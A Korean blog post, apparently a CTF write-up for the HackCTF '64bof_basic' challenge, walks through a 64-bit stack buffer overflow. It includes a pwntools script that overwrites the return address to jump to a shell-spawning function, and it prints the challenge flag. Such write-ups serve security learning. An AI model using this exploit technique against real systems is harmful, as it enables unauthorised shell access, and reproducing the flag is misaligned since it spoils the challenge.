
이번 문제 당 바이너리를 다운 받아 실행해 보면

한 줄 입력을 받는 것을 확인 할 수 있고 입력을 받은 뒤 "Hello ( 입력받은 문자열 )" 이 출력됨을 확인할 수 있다. 근데 왠지 제목부터 64bit 바이너리 인 게 느껴지는데 checksec로 확인해 보면

64bit 바이너리임을 알 수 있다.
ida 로 main 함수를 보면

scanf로 입력을 받고 v5 변수에다가 해당 문자열의 길이를 넣은 다음 printf로 처음 실행했을시의 문자열을 출력하는 것을 볼 수 있다.
해당 바이러리에는 main 함수 말고 다른 함수가 하나 더 있는데

바로 callMeMaybe 라는 함수가 있음을 확인할 수 있다.
해당 함수를 보면

쉘을 얻을 수 있는 함수임을 알 수 있다.
익스는 그냥 64bit인 것을 감안하면서 쉽게 짤 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from pwn import*
#p = process("./64bof_basic")
elf = ELF("./64bof_basic")
callMeMaybe = elf.symbols['callMeMaybe']
payload = ''
payload += 'A'*0x110
payload += 'B'*8
payload += p64(callMeMaybe)
p.sendline(payload)
p.interactive()
|
symbols로 callMeMaybe 함수 주소 얻어오고 0x110부터 입력을 받으니깐
0x110 만큼 채워준다음 64bit 바이너리는 sfp, ret 영역이 8bit니깐 8bit씩 덮어 주었다.

FLAG : HackCTF{64b17_b0f_15_51mpl3_700}
'WARGAME > hack ctf' 카테고리의 다른 글
Simple_Overflow_ver_2 (0) | 2020.03.09 |
---|---|
x64 Simple_size_BOF (0) | 2020.03.09 |
내 버퍼가 흘러넘친다!!! (0) | 2020.03.09 |
Basic_BOF #2 (0) | 2020.02.16 |
Basic_BOF #1 (0) | 2020.02.16 |